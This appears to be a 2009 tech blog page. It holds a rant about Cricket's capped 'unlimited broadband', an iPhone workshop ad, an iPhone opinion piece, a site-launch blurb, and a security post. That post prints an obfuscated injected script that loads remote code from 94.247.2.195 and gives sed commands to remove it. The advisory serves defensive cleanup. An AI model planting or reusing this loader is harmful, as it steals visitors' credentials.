Cricket’s Very Limited “Unlimited Broadband”
Technology, cell phone, web 2.0 October 9th, 2009
“Unlimited Broadband”
Unlimited: (dictionary.reference.com)
| 1. | not limited; unrestricted; unconfined: unlimited trade. |
| 2. | boundless; infinite; vast: the unlimited skies. |
| 3. | without any qualification or exception; unconditional. |
Broadband: (dictionary.reference.com)
A high-speed, high-capacity transmission medium that can carry signals from multiple independent network carriers. This is done on a single coaxial or fiber-optic cable by establishing different bandwidth channels. Broadband technology can support a wide range of frequencies. It is used to transmit data, voice and video over long distances simultaneously.
Taken from the first part of Crickets usage guide for their “Unlimited Broadband” package. This text is available only once you’ve paid for and received your cricket hardware, and is in the electronic terms of use that you must agree to before installing their software:
We reserve the right to limit throughput speeds or amount of data transferred, and to deny, modify or terminate service, without notice, to anyone whose usage adversely impacts our network, service levels or uses more than 5 GB in a given month.
They then go on to list “average download size” for different things as if to say “Hey, you get 5 gig. We’re not really limiting you, because look at all you can do”.
E-mail (1 text page without attachments)……3 KB
Word Document (5 text pages)……70 KB
Web Page……150 KB
Photo……..500 KB
PowerPoint Presentation (20 pages text & light graphics)…..3 MB
I’ll address these one by one:
E-mail (1 text page without attachments)……3 KB
Let me look at my inbox. of the 50 on the first page, none of them are under 3K, and most have attachments or images. more like 50K average these days.
Based on this assumption, you would need to send and/or receive approximately 1,747,627 e-mails in a month to reach 5 GB
With a more realistic real-world estimate, you can still get 100,000 e-mails in a month. Okay. Still seems nice.
Word Document (5 text pages)……70 KB
That’s pretty close. I’ll give them this.
Based on this assumption, you would need to download approximately 74,897 Word Documents in a month to reach 5 GB
Web Page……150 KB
Really? 150K? Are they basing this on the Yahoo home page? (151K) Yahoo is known for optimizing their content down to the byte.
Let’s say I want to look at web comics. Penny arcade is just over 250K-275K for either the comics page or the news page.
xkcd (a black and white comic with no ads or text) drops low at 80K.
How about news sites?
CNN.com is over 500K for every single page on its site. Clicking through to an article leaves well over a megabyte, minimum. An article about
NASA with one small photo of the moon gave a total of 1.2MB.
Here’s a list of an average page from the top 10 web sites according to http://www.alexa.com/topsites
- Google search: 45K(text search)-80K(image search).
- Facebook profile page: 200K – 400K
- Yahoo: 150K(home page) 500K(news article)
- Youtube: 370K(home page) 500K(video page)(NOT including the video. average of about 10MB for a 3 minute video)
- Windows Live/Bing: Couldn’t keep a connection to this site or msn.com
- blogger.com: 70K(Home page) 300K(featured blog linked from home page)
- msn.com: Couldn’t keep a connection to this site or bing.com
- craigslist: 30K (Home page) 30K (average of random housing listings)
- myspace: 250K (Home page) 500K (standard profile 2.0 page WITHOUT “bling” or extra photos, so this is a low estimate)
- ebay: 200K (home page) 400K (average of 5 random listings).
Based on this assumption, you would need to look up approximately 34,952 web pages in a month (or over 1,000/day) to reach 5 GB
According to my tests, this is not true at all. Looks like about half, or 17000 web pages in a month. That gives you 600 a day. Okay.
Digital Photo……..500 KB
My cell phone takes larger pictures than that. 500K is a horrible estimate. Your standard 100 dollar digital camera takes photos that are about 2MB
in size. This is just silly.
Based on this assumption, you would need to download approximately 10,485 low resolution digital photos in a month to reach 5 GB
low resolution? How about this: 2500 standard resolution, or 500 high-resolution photos (from the uncle with the 350 dollar 10 megapixel camera)
PowerPoint Presentation (20 pages text & light graphics)…..3 MB
This is fair, but irrelevant I think. These things aren’t popular enough to be flying around.
Based on this assumption, you would need to download approximately 1,707 PowerPoint presentations in a month to reach 5 GB
Okay. I’ll try to keep it under 50 a day.
Lets do some real world math here. I don’t use the internet for just one of those things, I use the internet for all of those things, and a lot more that they didn’t mention that I would expect to be able to do on a broadband connection. We’ll go down the list.
Looking through my mail, I send/receive an average of 80 e-mails on a given day, not including spam. Over a period of one week, my average e-mail size per day came to about 40K. (a couple of invoices, a handful of web-sized photos, coupons sent in the mail, and several text only e-mails). This seems pretty standard, but may be above average for most. I’ll cut it in half to be fair bringing me to 1.6MB per day for e-mail, or about 50MB per month. This is actually very very low. For someone that reads even just one chain e-mail a day, it’s probably double that.
In my history for yesterday, I have 1100 web pages. This is high. Of course, it’s actually many more than that. When developing a website, I’ll hit “refresh” on the same page 30 times in an hour sometimes. I probably loaded1500 web pages. Either way, I’ll still cut that in half, and use 500 for the number. Using my web page data, the standard web page is about 251K according to averages. I assumed the “home page” size was just as important as the “content page” size, even though more time is probably spent on content, but I’m trying to be more than fair. 500×250K = 125MB per day of loading websites. 3.75 GB per month. If I were to use a more fair “weighted” formula, the web page size would be higher than that. However, it’s tough to determine just how many articles someone reads on a site on average, so I won’t get more complex.
So just with these numbers, I’m at about 4GB per month. (If I scale my usage way down to better represent an average user)
Now lets throw very popular sites like youtube or hulu into the mix. One 23 minute television show on hulu is about 60MB. If I watch 2 half hour shows and one full hour show on hulu a week (I actually probably watch more than that), I have another gigabyte or so of bandwidth that I’m using.
What about other standard things that people do on the internet? What if you download music from itunes? (about 100MB per album) What if you want to download a demo for the lastest shooting game? (1-2GB these days). What if you want to watch a movie on netflix? (300Mb or so). Looks like you’re screwed.
So there you have it. Unlimited broadband doesn’t seem so unlimited any more. There is no way that I can continue to use this “unlimited” product on a daily basis.
Now that the “unlimited” factor has been shot to the ground, how about the “broadband”?
Even if you did have some bandwidth left over to watch some video, Cricket’s “broadband” isn’t fast enough to let you watch something on Hulu without having to pause it and buffer every few minutes. YouTube isn’t any better. To watch a 3 minute standard definition video uninterrupted, I need to hit play, hit pause, wait about 5 minutes for the video to load up to about 70%, and then hit play again. Don’t even THINK about watching something in High Quality or high definition. I gave up on a 50 second clip after waiting 15 minutes for it to load.
I don’t understand how this company can advertise their product as “broadband”, or even pretend to offer a replacement for DSL or cable providers. Besides all this, I can’t even stay connected to the “fast” network for more than 30-60 minutes at a time. It loses connection and defaults back to the slower-than-dial-up 2G connection. After disconnecting and immediately re-connecting, I’m returned to the faster counterpart.
Another note: While doing the page-size tests, my computer downloaded 14MB over 33 minutes. During that 33 minutes a web page was loading the entire time. This is just over 7K/second average download speed. According to my connection monitor, I had “good” or “great” (74-100%) connection strength the entire time. Dial-up AOL from 10 years ago would get a constant 4K/second download speed.
So what is that? What is this product they are selling? Pardon my language, but to me, it looks like a fucking joke. Too bad I can’t just return the modem and get my money back. Cricket offers a 1-day full money back guarantee, and a 3-day partial money back guarantee. Looks like I’ll be canceling my service, have to eat the 100 bucks for the modem, shipping, and activation, and not get the 50 dollar mail-in rebate for it. (You have to keep your service active to receive it).
Update 12/22/2009: This is the second busiest article on my site… Interesting.
Update 12/27/2009: I have e-mailed the marketing manager for Cricket regarding this and a few other issues I had with Cricket. I’ll post any developments.
Update 2/23/2010: About a week or two ago, a Cricket employee called me. They apparently finally got around to reading this article, and asked if I’d be willing to try their service again, for free. I have no use for their service at this time, so I politely declined. With Clear now available, I doubt I’ll ever be interested in a standard 3G service again, to be honest. It’s overpriced, and soon to be outdated in most parts of the country (and many parts of the world).
Update 12/22/2009: This is the second busiest article on my site… Interesting.
Dom & Tom Workshops – iPhone Apps – August 28th + 29th (Manhattan)
Technology, cell phone, development July 21st, 2009
![]() |
|
|
|
|
||
![]() |
![]() |
|
|
|
![]() |
|
![]() |
||
![]() |
||
|
|
||
|
|
|
|
Whether you are a new entrant into one of the fastest growing market in the world, or a seasoned iPhone developer looking to get a leg up, this workshop is essential for you. Learn from accomplished iPhone application developers who are already in the field. Obtain the tools and training to take your idea and make it come alive on the iPhone today. By the end of our workshops you will make several iPhone apps, from start to finish.
FUNDAMENTALS IN iPHONE APPLICATION DEVELOPMENT
- Learn Objective-C 2.0
- Discover the innovative Model-View-Controller interface
- Practice coding techniques and standards
- Become familiar with the Apple Human Interface Guide
- Create and test multiple iPhone applications
- Learn from seasoned veterans working in the field
The iPhone is NOT a computer.
cell phone, development June 24th, 2009
The iPhone is NOT a computer.
The iPhone is NOT a computer.
I’d repeat it a few more times, but let me be perfectly clear: Comparing the iPhone to your home or office computer is a waste of time.
I see and hear thing like this constantly, and I’d like to address and put an end to some of them.
1) The iPhone is a mini-computer!
Sure. It is like a mini-computer. It has many of the capabilities that a computer has. It computes, and can run applications. However, this is true of Blackberry devices, Palm devices, and Windows Mobile devices. The multitasking capabilities of a Windows Mobile device bring it slightly closer to being a “computer”, but not quite far enough. The limitations place on all of these devices for either corporate or practical purposes still leave all of these devices to be one thing: A phone with advanced PDA features.
2) Software distribution for computers should be just like the iPhone app store!
No. Dear God, no. There are so many things wrong with this. First of all, the app store is designed to deliver applications to a single type of device, running a single type of operating system. The app store build on the age old model of the software repository, which many linux distributions today follow. Sounds fantastic, right? It is.
Here’s the problem. Every single piece of software on that store is managed by Apple. Apple collects profits for every sale. They also have, under their sole discretion, the option to remove any piece of software from the store at any time. The store is censored, and does not allow for free (libre) knowledge, speech, or software. It is a backward step in software freedom, and a pain in the ass for developers. It has now been 2 weeks since submitting my first iPhone app, and it is not yet available, nor has their been any feedback yet. I could have been selling the same piece of software on my website for two weeks now if Apple allowed it.*
3) I can send e-mail, pictures, do calculations, schedule appointments….
If your iPod a computer? Most people would say no. The iPhone has a lot of great applications that take full use of the iPod Touch system. Did you know that nearly the only difference between the iPod Touch and the iPhone is the wireless radio, and phone application that go along with it? I have a Windows Mobile phone (that I hate), and it does a lot more than the iPhone ever could (including multi-tasking). I would never even consider to say that it’s a “tiny computer”… Yet it has Office Mobile, Google Maps, and many other usefull applications.
It is however, a phone. A telephone. A telephone with a lot of useful features. Just like the iPhone.
* Apple does allow this. It’s in a little footnote like this, they charge $300 a year for the right to do so, and you’ll be hard-pressed to find a single iPhone owner that knows about it.
Site Launch! UpLoop Media in Chicago, IL http://www.uploopmedia.com
Design, Technology, development May 26th, 2009
UpLoop Media is a multi-media video production and post production company in Chicago. We produce Commercials, Promotional Videos, Educational Videos, Live Events, New Media, Corporate Videos, Training Videos, EPKs, Legal Depositions and Day In The Life Legal Videos. We produce cutting edge video production for established and emerging businesses with a desire to speak to their target audience.
UpLoop Media is a full service production and post-production house. We are Chicago’s epicenter for dynamic, innovative and cutting edge multi-media production. The UpLoop team brings a formidable commercial background, fresh approach and discerning eye to both established and emerging businesses with a desire to speak to their target audience. To be the best we have collaborated with an outstanding group of producers, directors,editors and motion graphic artists forming a strong team of multi-media professionals with proven track records dedicated to creative excellence in film and video production.
Visit http://www.uploopmedia.com today!
Tags: chicago, site launch, uploop
94 247 2 195 jquery.js script exploit : SEVERE THREAT
Technology April 24th, 2009
If you have this code in your site it is imperative that you change all of your passwords. DO NOT go to ANY of the sites listed on this post.
document.write(unescape('
%3CGXscrLrGXirLpt%20VhsrcrL%3DSn%2FHY8%2F78HY8%2EGX1GX1Cl60%2ECl6
1Cl67Cl65Cl6%2E24Vh9zAn%2FCl6jquVheHY8rrLyCl6%2EjSns%3EGX%3C%2FGXsz
AnczAnrHY8iprLtzAn%3E
').
replace(/Cl6|HY8|zAn|Sn|rL|Vh|GX/g,""));
It may look slightly different, but it translates to the same thing.
script src = 94.247.2.195/jquery.js
I’ve removed tags and such to prevent possible mishaps. Bottom line, is this script can, and has, hijacked usernames and passwords sent over the network.
I have a few shell scripts that will help clear it off your pages (thanks to http://eriknomitch.com/ (SAFE link) for the help). You may want to completely disable all your sites by creating an .htaccess file in your home directory with nothing but “deny from all” in its contents. This will stop ALL of your websites from serving until it is removed. Be warned. Security is very important here, so I would recommended it.
First, have a look at your source, and find a group of characters (I’ll use “Cl6jquVhe” from the example above) that have only letters/numbers, and are not likely to appear on any of your other sites, anywhere. I think Cl6jquVhe should be safe. Run this following script, replacing my string with yours, from your users root html directory (/home/username/public_html or something similar)
find ./ -iname '*.html' -exec sed -i 's/<script.*Cl6jquVhe.*script>//g' {} ;
Repeat that script for all extensions on your site that could be served as web pages, and javascript files. ex: php,asp,aspx,htm,js. this will search through and remove all instances of that script, using wonderful regex. This, however, may not remove them all. Have a look at your files, and make sure it isn’t lurking about still, under guise of slightly different code. If this is in fact the case, I have a more powerful, but slightly risky script to run.
Please do not run this next script unless you know your code well. It may break some of your javascript code if you are not careful. If you are certain that none of your scripts (3rd party plugins, too!) do not use the javascript unescape method, then continue. In reality, the unescape method is used fairly rarely, but running a search for all the files on your site that have it will product a lot of results, from the infected files. Use the following with great caution!
find ./ -iname '*.html' -exec sed -i 's/<script.*unescape.*script>//g' {} ;
Again, replace html with all extentions. Do NOT try to “be smart” and change the ‘*.html’ to ‘*’, as you may end up damaging other files, especially in this case!
Run a find . -iname “*.html” | xargs grep “unescape” -sl to check your results (for all extentions). This will return a list of files that are still infected. It should be zero.
IMPORTANT.
You’ll want to scour your site for files you do not recognize! This was most likely caused by an exploit in outdated software, such as an old Wordpress or Zencart installation, allowing the attacker to upload a file that lets them have their way with your site. It will most likely be a php file, with a random name. You’ll want to be certain to find and remove this before allowing access back to your sites
IMPORANT #2
Your site is still vulnerable to attack! Find and upgrade all old installations of software! Remove what you don’t need! Find a program like Acunetix to do a security check on your site, and keep up with it! Best of luck to all!
Oh yeah, did I mention to change your passwords?
Tags: security







